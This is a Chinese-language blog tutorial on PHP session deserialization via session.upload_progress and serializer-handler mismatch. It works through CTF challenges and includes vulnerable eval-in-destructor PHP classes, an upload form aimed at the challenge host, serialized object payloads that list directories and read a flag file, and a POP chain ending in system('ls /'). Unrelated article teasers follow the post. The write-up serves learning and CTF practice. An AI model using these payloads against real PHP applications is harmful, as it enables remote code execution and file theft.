42 session反序列化漏洞
参考资料:3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园
session文件上传漏洞利用原理
当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。
在利用漏洞之前,在 php.ini
中需配置以下参数:
; 启用上传进度跟踪
session.upload_progress.enabled = On; 指定表单中用于标识上传进度的字段名(必须存在于上传表单中)
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"; 会话中进度数据的前缀(默认:upload_progress_)
session.upload_progress.prefix = "upload_progress_"; 上传完成后自动清理进度数据(默认:On)
session.upload_progress.cleanup = On
在文件上传表单中,必须包含一个隐藏字段,其 name
属性与 session.upload_progress.name
配置一致
<form action="upload.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="<?php echo ini_get('session.upload_progress.name'); ?>" value="unique_upload_id"><input type="file" name="file"><input type="submit" value="Upload">
</form>
在上传处理脚本(如 upload.php
)中,注意必须先启动会话:
session_start();
例题1
http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new OowoO();
}
else
{highlight_string(file_get_contents('index.php'));
}
?>
session.serialize_handler
:用于指定处理会话数据序列化和反序列化的处理器。会话数据在存储(比如存储到文件、数据库等)前需要进行序列化,读取时再进行反序列化 。- session.upload_progress.enables设置为on,可以post文件并应用到session中
源代码中设置的是php解释器,但是本地默认却是php_serialize解释器,解释方式不同引发漏洞
session_start()函数启动后,会按照ini_set()中设置的php格式去翻sess_xxxx文件
如果session_xxxx文件中有内容,如果文件内容与该代码中要求的php格式相同,则进行反序列化,如果不相同,则清空session_xxxx文件内容
但是我们上传文件到sess_xxxx目录的时候,是用php_serialize解释的,因此没有把上传的 | 去掉
本地html post提交序列化的东西
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" / ><input type="submit" />
</form>
这里的value是识别会话的唯一标志符
文件上传时,PHP 将 PHP_SESSION_UPLOAD_PROGRESS
的值写入 $_SESSION
,键名为 upload_progress_
+ 唯一标识符。
先post提交名字为PHP_SESSION_UPLOAD_PROGRESS的数据,里面的值修改为序列化数据并在前面加上 xxx| ,写入的时候是按照php的格式,即 | 前面的是键名,后面的是真正的内容
xxx|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
当页面加载时(如访问 index.php
),PHP 自动加载会话数据并反序列化。反序列化的时候是按php_serialize读取数据的,此时恶意构造的数据就会成为一个具体的0owo0类
构造序列化payload来读取flag:
- __FILE__返回当前正在执行的脚本的完整文件名,包含路径信息
- dirname()用于返回文件的目录部分,此时参数为__FILE__就是返回当前脚本所在的目录
- scandir()就是扫描目录,并返回一个包含这些文件和目录名称的数组,在这里,它扫描的是当前脚本所在的目录。
<?php
class OowoO
{public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$m = new OowoO();
echo serialize($m);
?>
先看看该运行着的文件同级目录中有没有其他文件
发现可疑文件,利用file_get_contents()读取,但是这个函数读取需要完整的根路径,我们知道了__FILE__的路径就知道了该文件的路径
修改$mdzz为'print_r(dirname(__FILE__));'
返回根目录的路径
所以 Here_1s_7he_fl4g_buT_You_Cannot_see.php 文件路径名就是/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php
修改$mdzz为print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
得到flag
方法二:也可以在filename中注入序列化内容
php在将sess_xxxx文件反序列化应用在全局变量$_SESSION中的时候用的是php格式,也就是本地默认的那个
因为写进去的sess_xxxx文件也是序列化的格式 ,只要 | 在,就能将后面的内容反序列化成一个具体的对象,然后根据 }; 来结束
但是在filename中注入序列化和在contents中写入不同的是,文件名读取有 " " 限制,需要 \" 进行转义,否则只读到第一个 " 就停了
例题2
php.ini配置:
session.auto_start = Off
session.serialize_handler = php_serialize
session.upload_progress.cleanup = Off
这里有个 session.upload_progress.cleanup 如果值为 On,会导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。
当该值为off的时候:
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{public $varr;function __construct(){$this->varr = "index.php";}function __destruct(){if(file_exists($this->varr)){echo "<br>文件".$this->varr."存在<br>";}echo "<br>这是foo1的析构函数<br>";}
}class foo2{public $varr;public $obj;function __construct(){$this->varr = '1234567890';$this->obj = null;}function __toString(){ // 类被当作字符串时被调用$this->obj->execute();return $this->varr;}function __desctuct(){echo "<br>这是foo2的析构函数<br>";}
}class foo3{public $varr;function execute(){eval($this->varr);}function __desctuct(){echo "<br>这是foo3的析构函数<br>";}
}?>
index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
反序列化pop很好找
<?php
class foo1{public $varr;
}class foo2{public $varr;public $obj;function __toString(){ $this->obj->execute();return $this->varr;}
}class foo3{public $varr;function execute(){eval($this->varr);}
}
$a=new foo1;
$b=new foo2;
$c=new foo3;
$c->varr=system('ls /');
$a->varr=$b;
$b->obj=$c;
?>
在ini设置中为php_serialize(存储session),在php文件中设置为php(读取session),此时
如果设置session.upload_progress.cleanup = On,文件上传以后,session文件会立即被清空,此时需要利用时间竞争来反序列化进行rce
相关文章:

42 session反序列化漏洞
参考资料:3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园 session文件上传漏洞利用原理 当在php.ini中设置session.upload_progress.enabled On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session…...
【Jenkins】个人向-Jenkinsfile如何写
官方参考:https://www.jenkins.io/doc/book/pipeline/syntax/ Pipeline Utility Steps 插件:https://birdbook.com.cn/ops/ci/jenkins/plugins/pipeline%20utility%20steps.html 常用环境变量 含义表达式备注params,传入参数传入参数params…...

staruml绘制时序图和用例图
文章目录 1.文章介绍2.绘制用例图3.绘制时序图 1.文章介绍 之前,我们初步介绍了这个staruml软件的安装和如何使用这个软件对于uml类图进行绘制,当时我们是绘制了这个user类,实现了相关的接口,表示他们之间的关系,在今…...

问题修复-后端返给前端的时间展示错误
问题现象: 后端给前端返回的时间展示有问题。 需要按照yyyy-MM-dd HH:mm:ss 的形式展示 两种办法: 第一种 在实体类的属性上添加JsonFormat注解 第二种(建议使用) 扩展mvc框架中的消息转换器 代码: 因为配置类继…...
Rust配置开发环境+服务器实战
https://www.cnblogs.com/skzxc/p/12129353.html 默认已经安装好MSVC。 官网https://www.rust-lang.org/zh-CN/learn/get-started安装Rust安装器,选择winodwsx64版本 运行安装,将文件夹移动到D盘,安装后,文件夹在C:\Users\xxx下…...

使用DeepSeek+KIMI生成高质量PPT
一、使用DeepSeek DeepSeek官网:DeepSeek 点击“开始对话”,进入交互页面。 在上图中,输入问题,即可获取AI生成的结果。 基础模型(V3):通用模型(2024.12),高…...
虚拟机如何设置ip
在虚拟机中设置IP地址的具体步骤会因虚拟机软件(如VMware、VirtualBox等)和操作系统(如Windows、Linux等)的不同而有所差异。以下是几种常见虚拟机软件和操作系统的IP设置方法。 --- 一、VMware中的IP设置 1.Windows虚拟机 1. 打…...

蓝桥杯 路径之谜
路径之谜 题目描述 小明冒充 XX 星球的骑士,进入了一个奇怪的城堡。 城堡里边什么都没有,只有方形石头铺成的地面。 假设城堡地面是 nnnn 个方格。如下图所示。 按习俗,骑士要从西北角走到东南角。可以横向或纵向移动,但不能斜着走…...
Git操作指南:分支合并、回退及其他重要操作
在软件开发的协作过程中,Git 作为一款强大的版本控制系统,能帮助开发者高效管理代码的各个版本和分支。本文将详细介绍 Git 中常见的分支合并、取消本地修改、回退操作等,并提供通俗易懂的解释和步骤指南。 一、分支合并 分支合并是 Git 工…...

Element Plus中el-tree点击的节点字体变色加粗
el-tree标签设置 <el-tree class"tree":data"treeData":default-expand-all"true":highlight-current"true"node-click"onTreeNodeClick"><!-- 自定义节点内容,点击的节点字体变色加粗 --><!-- 动…...

jenkens使用笔记
jenkens使用笔记 笔记使用版本是2.492.1 git仓库ssh证书配置 已开始配置一直不行,然后下载插件,多次重启等一些列操作, 后来配置就可以工作了,原因不祥,不知道哪个配置起效了。 等回来闹明白了,再补充笔记…...
腾讯混元文生图大模型(Hunyuan-DiT)与Stable Diffusion(SD)对比分析
腾讯混元文生图大模型(Hunyuan-DiT)与Stable Diffusion(SD)对比分析 腾讯混元文生图大模型(Hunyuan-DiT)与Stable Diffusion(SD)作为当前文生图领域的两大代表模型,各自…...

深入浅出理解编译器:前端视角
一、编译器究竟是什么? 在前端开发的世界里,我们经常会听到 “编译器” 这个词。就拿 Babel 来说,在它的官网上,最显眼的一句话就是:“Babel is a JavaScript compiler”。那什么是 JavaScript 编译器呢?又…...

Minio搭建并在SpringBoot中使用完成用户头像的上传
Minio使用搭建并上传用户头像到服务器操作,学习笔记 Minio介绍 minio官网 MinIO是一个开源的分布式对象存储服务器,支持S3协议并且可以在多节点上实现数据的高可用和容错。它采用Go语言开发,拥有轻量级、高性能、易部署等特点,并且可以自由…...
Ubuntu系统上部署Node.js项目的完整流程
以下是在Ubuntu系统上部署Node.js项目的完整流程,分为系统初始化、环境配置、项目部署三个部分: 一、系统初始化 & 环境准备 bash # 1. 更新系统软件包 sudo apt update && sudo apt upgrade -y# 2. 安装基础工具 sudo apt install -y buil…...
DeepSeek效应初现:Grok-3补刀ChatGPT,OpenAI已在ICU?
嘿,技术小伙伴们!今天咱们聊聊最近在AI界引发轰动的新闻——DeepSeek和xAI相继用R1和Grok-3证明了预训练Scaling Law并非OpenAI的护城河。这意味着什么呢?让我们一探究竟! 开场白 首先,让我们看看最新的“全能冠军”…...
【知识】torchrun 与 torch.multiprocessing.spawn 的对比
转载请注明出处:小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你,欢迎[点赞、收藏、关注]哦~ 来自ChatGPT、DeepSeek 有点干,可仅做了解。 torchrun 和 torch.multiprocessing.spawn 都是在 PyTorch 中用于并行化和分布式训练的工具&a…...

深入了解 K-Means 聚类算法:原理与应用
引言 在数据科学和机器学习的世界中,聚类是一项非常重要的技术,它帮助我们根据数据的相似性将数据划分为不同的组或簇。聚类算法在许多领域中得到了广泛的应用,如图像处理、市场细分、基因研究等。K-Means 聚类算法作为最常见的无监督学习算…...
Rust ~ Collect
背景 Transforms an iterator into a collection 将一个迭代器转换为一个集合 collect() 可以处理任何可迭代的对象,并将其转换为相关的集合 collect() 最基本模式是将一个集合转换为另一个集合: 先获取一个集合,对其调用 iter 方法&#x…...
C# 类型转换
C# 类型转换 引言 在C#编程语言中,类型转换是一种将一个数据类型的变量转换成另一个数据类型的操作。类型转换是编程中常见的操作,特别是在处理不同数据类型的变量时。本文将详细探讨C#中的类型转换,包括隐式转换和显式转换,以及…...

CTF show Web 红包题第六弹
提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框,很难让人不联想到SQL注入,但提示都说了不是SQL注入,所以就不往这方面想了 先查看一下网页源码,发现一段JavaScript代码,有一个关键类ctfs…...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...

转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...
OkHttp 中实现断点续传 demo
在 OkHttp 中实现断点续传主要通过以下步骤完成,核心是利用 HTTP 协议的 Range 请求头指定下载范围: 实现原理 Range 请求头:向服务器请求文件的特定字节范围(如 Range: bytes1024-) 本地文件记录:保存已…...

ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...

微信小程序云开发平台MySQL的连接方式
注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...

【笔记】WSL 中 Rust 安装与测试完整记录
#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统:Ubuntu 24.04 LTS (WSL2)架构:x86_64 (GNU/Linux)Rust 版本:rustc 1.87.0 (2025-05-09)Cargo 版本:cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...

GO协程(Goroutine)问题总结
在使用Go语言来编写代码时,遇到的一些问题总结一下 [参考文档]:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html 1. main()函数默认的Goroutine 场景再现: 今天在看到这个教程的时候,在自己的电…...